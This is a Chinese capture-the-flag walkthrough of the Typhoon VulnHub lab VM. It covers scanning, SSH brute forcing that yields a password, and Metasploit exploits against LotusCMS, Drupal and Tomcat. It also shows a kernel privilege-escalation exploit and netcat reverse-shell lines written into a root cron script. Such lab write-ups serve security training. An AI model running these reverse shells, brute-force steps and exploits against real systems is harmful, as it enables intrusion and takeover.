0x01 前言

Typhoon VM包含多个漏洞和配置错误。Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,后期利用步骤,信息收集和DNS攻击。

Typhoon-v1.02镜像下载地址:

https://download.vulnhub.com/typhoon/Typhoon-v1.02.ova.torrent

0x02 信息收集

1.存活主机扫描

arp-scan  -l

发现192.168.1.104就是目标靶机系统

2.端口探测

nmap-A   192.168.1.104

root@kali2018:~# nmap -A 192.168.1.104

Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-30 09:17 EST

Nmap scan report for 192.168.1.104

Host is up (.0012s latency).

Not shown:  closed ports

PORT     STATE SERVICE     VERSION

/tcp   open  ftpvsftpd 3.0.

|_ftp-anon: Anonymous FTP login allowed (FTP code )

| ftp-syst:

|   STAT:

| FTP server status:

|      Connected to 192.168.1.21

|      Logged in as ftp

|      TYPE: ASCII

|      No session bandwidth limit

|      Session timeout in seconds is 

|      Control connection is plain text

|      Data connections will be plain text

|      At session startup, client count was 

|      vsFTPd 3.0. - secure, fast, stable

|_End of status

/tcp   open  sshOpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|    :df:b3:1b::dc:5e:fd:f9::d7:5b:b7:d6:7b:f9 (DSA)

|    de:af::::2a:8f:cf:0b:2f::f8::::dd (RSA)

|    :ae::6c::7d:ed:1b:c0::fc:2d::8d:: (ECDSA)

|_   bb:ce:f2:::f7:8f:ae:f0:dd:3c::3b:a6:0f: (ED25519)

/tcp   open  smtpPostfix smtpd

|_smtp-commands: typhoon, PIPELINING, SIZE , VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

| ssl-cert: Subject: commonName=typhoon

| Not valid before: --22T19::

|_Not valid after:--19T19::

|_ssl-date: TLS randomness does not represent time

/tcp   open  domainISC BIND 9.9.- (Ubuntu Linux)

| dns-nsid:

|_  bind.version: 9.9.--Ubuntu

/tcp   open  httpApache httpd 2.4. ((Ubuntu))

| http-robots.txt:  disallowed entry

|_/mongoadmin/

|_http-server-header: Apache/2.4. (Ubuntu)

|_http-title: Typhoon Vulnerable VM by PRISMA CSI

/tcp  open  pop3?

|_ssl-date: TLS randomness does not represent time

/tcp  open  rpcbind2- (RPC #)

| rpcinfo:

|   program version   port/protoservice

|     ,,/tcp  rpcbind

|     ,,/udp  rpcbind

|     ,,/tcp  nfs

|     ,,/udp  nfs

|     ,,/udp  mountd

|     ,,/tcp  mountd

|     ,,/udp  nlockmgr

|     ,,/tcp  nlockmgr

|     /tcp  status

|     /udp  status

|     ,/tcp  nfs_acl

|_    ,/udp  nfs_acl

/tcp  open  netbios-ssn Samba smbd .X - .X (workgroup: WORKGROUP)

/tcp  open  imapDovecot imapd

/tcp  open  netbios-ssn Samba smbd 4.1.-Ubuntu (workgroup: WORKGROUP)

/tcp  open  ippCUPS 1.7

| http-methods:

|_  Potentially risky methods: PUT

| http-robots.txt:  disallowed entry

|_/

|_http-server-header: CUPS/1.7 IPP/2.1

|_http-title: Home - CUPS 1.7.

/tcp  open  ssl/imapDovecot imapd

|_imap-capabilities: CAPABILITY

| ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server

| Not valid before: --22T19::

|_Not valid after:--21T19::

|_ssl-date: TLS randomness does not represent time

/tcp  open  ssl/pop3s?

| ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server

| Not valid before: --22T19::

|_Not valid after:--21T19::

|_ssl-date: TLS randomness does not represent time

/tcp open  nfs_acl     - (RPC #)

/tcp open  mysql       MySQL (unauthorized)

/tcp open  postgresql  PostgreSQL DB 9.3. - 9.3.

| ssl-cert: Subject: commonName=typhoon

| Not valid before: --22T19::

|_Not valid after:--19T19::

|_ssl-date: TLS randomness does not represent time

/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1

| http-methods:

|_  Potentially risky methods: PUT DELETE

|_http-open-proxy: Proxy might be redirecting requests

|_http-server-header: Apache-Coyote/1.1

|_http-title: Apache Tomcat

MAC Address: :0C::5A::7D (VMware)

Device type: general purpose

Running: Linux .X|.X

OS CPE: cpe:/o:linux:linux_kernel: cpe:/o:linux:linux_kernel:

OS details: Linux 3.2 - 4.9

Network Distance:  hop

Service Info: Hosts:  typhoon, TYPHOON; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: -39m59s, deviation: 1h09m15s, median: 0s

|_nbstat: NetBIOS name: TYPHOON, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

| smb-os-discovery:

|   OS: Unix (Samba 4.1.-Ubuntu)

|   Computer name: typhoon

|   NetBIOS computer name: TYPHOON\x00

|   Domain name: local

|   FQDN: typhoon.local

|_  System time: --30T16::+:

| smb-security-mode:

|   account_used: guest

|   authentication_level: user

|   challenge_response: supported

|_  message_signing: disabled (dangerous, but default)

| smb2-security-mode:

|   2.02:

|_    Message signing enabled but not required

| smb2-time:

|   date: -- ::

|_  start_date: N/A

TRACEROUTE

HOP RTT     ADDRESS

   1.21 ms 192.168.1.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done:  IP address ( host up) scanned in 193.97 seconds

可发现80,8080,22等端口开放。

3.目录扫描

通过dirb对目标网站进行扫描发现存在phpmyadmin以及robots.txt和drupal,cms等目录文件

0x03靶机攻击

1.  ssh端口爆破

1.1枚举账号

发现端口22开放,其版本为openssh 6.6.1p1,利用OpenSSH新爆出的CVE爆出目标主机的用户,这对特定的用户爆破密码,建议爆破1000条。先用searchsploit查找OpenSSH 6.6.1p1出现的漏洞,找到两个用户名枚举漏洞.

root@kali2018:~#searchsploit   openssh

利用msf进行账号枚举。这里的用户名字典我采用:

https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/wordlists-user-passwd/names/namelist.txt


上图中可以看到成功枚举出admin账号,通过hydra对靶机的ssh进行爆破。

hydra -l admin -P /usr/share/wordlists/rockyou.txt.gz  -t4  ssh://192.168.1.104

可以看到成功爆破了ssh,用户名为:admin 密码为:metallica

本地登录远程靶机的ssh

ssh admin@192.168.1.104

1.2权限提升

登陆进去以后我尝试命令:sudo bash  , 再输入密码发现成功的GET到root权限,这种方法不稳定

admin@typhoon:~$ sudo bash

[sudo] password for admin:

root@typhoon:~#

2.  web 应用mongo

2.1 信息收集

通过上面nmap扫描出80端口带有的mongoadmin目录以及目录扫描出来的robots.txt

访问:http://192.168.1.104/robots.txt

转到该目录,您将看到一个用于管理公开的Mongo实例的Web界面, 稍后点击几下,您将看到SSH帐户的凭据

ssh typhoon@192,168.30.129

2.2权限提升

获得低权限shell后,下一步是将权限升为root。在您的信息收集过程中,您会注意到一个看起来很奇怪的脚本/tab/script.sh

find / -type f -perm /o+w 2>/dev/null | grep -Ev '(proc|sys|www)'

可以猜测该脚本是以root用户权限运行的一个cron。那么我们可以nc用来进行反弹shell。但是,主机上nc没有-e选项。

没问题。我们仍然可以做这样的事情。一方面,nc在攻击机器上打开一个监听器。另一方面,将以下命令添加到/tab/script.sh

echo 'rm -rf /tmp/p; mknod /tmp/p p; /bin/bash 0</tmp/p | nc 192.168.30.128 1234 >/tmp/p' >> /tab/script.sh

在攻击主机上执行NC进行监听

nc  -lvvp 

3.  web应用cms

3.1 漏洞攻击

更进一步,我做了nikto扫描主机,并找到了一些有趣的目录。

扫描结果之后在/cms目录中,发现一个内容管理系统正在运行,称为“LotusCMS”

过单击login选项,已重定向到CMS登录后台页面。

然后我搜索了此CMS登录的默认凭据,我发现此CMS容易受到eval()函数中存在的一个远程执行代码漏洞的攻击。

通过链接浏览,我发现metasploit为此提供利用exp

在kali中打开msfconsole,并使用了以下exp

然后设置RHOST的远程IP地址和运行CMS的URI路径。

msf > search lcms_php_exec

Matching Modules

================

   Name                              Disclosure Date  Rank       Description

   ----                              ---------------  ---------------

exploit/multi/http/lcms_php_exec2011--       excellent  LotusCMS 3.0 eval() Remote Command Execution

msf > use exploit/multi/http/lcms_php_exec

msf exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

   Name     Current Setting  RequiredDescription

   ----     ---------------  -------------------

   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]

   RHOST                     yes       The target address

   RPORT                   yes       The target port (TCP)

   SSL      false            no        Negotiate SSL/TLS for outgoing connections

   URI      /lcms/           yes       URI

   VHOST                     no        HTTP server virtual host

Exploit target:

   Id  Name

   --  ----

      Automatic LotusCMS 3.0

msf exploit(multi/http/lcms_php_exec) > set rhost

set rhost 

msf exploit(multi/http/lcms_php_exec) > set rhost 192.168.1.104

rhost => 192.168.1.104

msf exploit(multi/http/lcms_php_exec) > set rport  

rport => 

msf exploit(multi/http/lcms_php_exec) > set URI /cms/

URI => /cms/

msf exploit(multi/http/lcms_php_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.21:

[*] Using found page param: /cms/index.php?page=index

[*] Sending exploit ...

[*] Sending stage ( bytes) to 192.168.1.104

[*] Meterpreter session  opened (192.168.1.21: -> 192.168.1.104:) at -- :: - 

meterpreter > pwd

/var/www/html/cms

meterpreter > shell

Process  created.

Channel  created.

/bin/bash -i

bash: cannot set terminal process group (): Inappropriate ioctl for device

bash: no job control in this shell

当我运行'exploit'命令时,我的反向shell被执行了,得到了一个session会话。

在获得了meterpreter会话后,已经进入了一个交互式bash  shell,发现用户是id为33的'www-data'

3.2 权限提升

进入系统后,使用以下命令检查操作系统的内核版本

uname  -a

获得Linux版本后,使用searchsploit搜索漏洞,发现Linux内核版本“overlayFS”容易受到本地权限提升的影响。

root@kali2018:~# searchsploit  linux 3.13.

然后将利用exp复制到/opt目录下

root@kali2018:~# cp /usr/share/exploitdb/exploits/linux/local/.c /opt

使用python搭建小型http服务器,以提供利用exp下载

python -m  SimpleHTTPServer 

使用wget命令将该利用exp从kali主机下载到到目标主机tmp目录。(只有tmp目录具有写入文件的权限)

www-data@typhoon:/var/www/html/cms$ cd /tmp

www-data@typhoon:/tmp$ wget  http://192.168.1.21:81/37292.c

wget http://192.168.1.21:81/37292.c

---- ::--  http://192.168.1.21:81/37292.c

Connecting to 192.168.1.21:... connected.

HTTP request sent, awaiting response...  OK

Length:  (.0K) [text/plain]

Saving to: '37292.c'

     0K ....% 8.28M=.001s

-- :: (8.28 MB/s) - '37292.c' saved [/]

www-data@typhoon:/tmp$ ls

.c

65d9383ff514cbd01ac65e38806095d7.dat

8c10a35add3f21e11383c7911852072e.dat

f71487e6e9c666dc5b99e37305c00db5.dat

hsperfdata_tomcat7

mongodb-.sock

tomcat7-tomcat7-tmp

使用以下命令编译exp

gcc   <exploitname>  -o  <输出文件名>

www-data@typhoon:/tmp$ gcc .c  -o37292

www-data@typhoon:/tmp$ ls

当我运行已编译的文件时,将普通用户通过升级权限成为root用户

www-data@typhoon:/tmp$ ./

使用命令/bin/bash -i将生成交互式shell

# /bin/bash -i

falg:

进入root目录然后读取flag信息

root@typhoon:/tmp# cd /root

root@typhoon:/root# cat root-flag

4.  web应用Tomcat

4.1 漏洞攻击

使用Tomcat Manager Upload获取meterpreter,然后进一步建立反向连接以获得root访问权限。

从namp扫描端口可发现8080端口已开发,并且是Apache Tomcat / Coyote JSP Engine 1.1版本。在浏览器上窗口中打开地址:http://192.168.1.104:8080

使用Metasploits Tomcat Manager的默认用户名tomcat和默认密码tomcat登录到tomcat管理后台。

使用msf对其tomcat进行攻击。

4.2 权限提升

我们需要使用Msfvenom创建一个bash代码:

msfvenom  –p  cmd/unix/reverse_netcat   lhost=192.168.1.21   lport=  R

之后将上面生成的恶意代码在目标靶机系统中添加到script.sh文件

echo "mkfifo /tmp/uodb; nc 192.168.1.21 222 0</tmp/uodb | /bin/sh >/tmp/uodb 2>&1; rm /tmp/uodb " > script.sh

由于恶意代码是使用script.sh文件执行的。因此我们在netcat监听器上有一个反弹shell。

5.web应用drupal

通过上面目录扫描工具dirb对目标网站扫描发现有drupal cms

我们通过利用metasploit搜索Drupal cms模块漏洞进行攻击

use exploit/unix/webapp/drupal_drupalgeddon2

msf exploit(/unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.104

msf exploit(/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal

msf exploit(/unix/webapp/drupal_drupalgeddon2) > exploit

6.Tomcat的后台管理获取shell

通过上面目录扫描工具dirb扫描发现8080端口开放的tomcat服务

通过google可知默认的tomcat后台目录为/manager/html,用户名:tomcat,密码:tomcat

我们可以msfvenom来生WAR文件

 msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21   LPORT=  -f war -o    evil.war

可以看到evulll.war具体内容:

我已经成功部署了webapp

要访问恶意Web应用程序,请在浏览器的地址栏中输入以下内容:

http://192.168.1.104:8080/evil/tudvpurwgjh.jsp

本地监听NC可反弹

同是也可以上传大马war包

 
 
 
 

Typhoon-v1.02 靶机入侵的更多相关文章

  1. Fowsniff: 1靶机入侵

    一.信息收集 1.存活主机扫描 arp-scan  -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...

  2. [C] c99int(让VC等编译器自动兼容C99的整数类型)V1.02。源码托管到github、添加CMake编译配置文件、使用doxygen规范注释

    新版本—— http://www.cnblogs.com/zyl910/p/zlstdint_v100.html[C] zlstdint(让VC.TC等编译器自动兼容C99的整数类型)V1.0.支持T ...

  3. java计算器 图形用户界面 升级版 v1.02

    package com.rgy.entity; import java.awt.BorderLayout; import java.awt.Font; import java.awt.GridLayo ...

  4. digitalworld.local: MERCY靶机入侵

    0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...

  5. FourAndSix: 2.01靶机入侵

      0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...

  6. Raven: 2靶机入侵

    0x00 前言 Raven 2是一个中等难度的boot2root 虚拟靶机.有四个flag需要找出.在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵. ...

  7. Moonraker:1靶机入侵

      0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...

  8. DailyWallpaper v1.02 released

    上次忘了写软件说明,先补上一个. 软件说明: 每天定时(暂定上午11点)下载美国国家地理网站的photo of the day图片作为桌面壁纸.下载图片会以日期为名称保存在C:\DailyWallpa ...

  9. 基于FineUIMVC的代码生成器(传统三层)v1.0-2

    第一篇博客只是粗略说明了一下,其实这个工具真正用话可能大家还要细看下,我今天(连夜)写个例子,截几个图,做一下自定义模板的实例教程,因为代码生成本身是个工具,动画效果都是次要的,主要是工具本身,其中自 ...

随机推荐

  1. .NetCore mvc Ajax Post数据到后端

    在前端页面中,如果没有表单,想把复杂对象提交到后端,可使用以下方法 后端Controller中定义以下方法: [HttpPost] public int AddSolution([FromBody]S ...

  2. 11.15 Daily Scrum

    今天是假期回来的第一个周末,也是我们团队的又一次进度汇总总结和调试工作开展,鉴于一周以来大家的工作有了很大的成果,所以,本次召开的会议主旨在于解决一些开发方面的细节问题,达成共识,为日后进一步的功能方 ...

  3. 2017-2018-2 1723 『Java程序设计』课程 结对编程练习_四则运算

    一.结对对象 姓名:侯泽洋 学号:20172308 担任角色:驾驶员(侯泽洋) 伙伴第一周博客地址 二.本周内容 1.程序需求 (1).自动生成题目 可独立使用(能实现自己编写测试类单独生成题目的功能 ...

  4. 读书笔记 之 java编程思想3

    现在已经读到第二章  ,这个发现好多已经能都知道了  但是还是有自己比较生疏的比如说就是 储存到什么地方:书中介绍五种储存的地方 分别为1储存器,2堆栈,3堆4常量储存 5非RAM储存,java的出来 ...

  5. 四则运算<C++>

    代码: #include<iostream> #define N 30 using namespace std; void main() { cout<<"***** ...

  6. caffe可视化模型

    进入$CAFFE_ROOT/python: $ python draw_net.py ../models/bvlc_reference_caffenet/train_val.prototxt caff ...

  7. 论文《Network in Network》笔记

    论文:Lin M, Chen Q, Yan S. Network In Network[J]. Computer Science, 2013. 参考:关于CNN中1×1卷积核和Network in N ...

  8. 17_常用API_第17天(包装类、System、Math、Arrays、大数据运算)_讲义

    今日内容介绍 1.基本类型包装类 2.System类 3.Math类 4.Arrays类 5.大数据运算 01基本数据类型对象包装类概述 *A:基本数据类型对象包装类概述 *a.基本类型包装类的产生 ...

  9. EJB是什么

    EJB (enterprise java bean)   EJB 概念的剖析 我们先看一下,EJB 的官方解释: 商务软件的核心部分是它的业务逻辑.业务逻辑抽象了整个商务过程的流程,并使用计 算机语言 ...

  10. C++操作mysql方法总结(2)

    C++通过ODBC和通过MFC ODBC操作mysql的两种方式 使用vs2013和64位的msql 5.6.16进行操作 项目中使用的数据库名和表数据请参考C++操作mysql方法总结(1)中的介绍 ...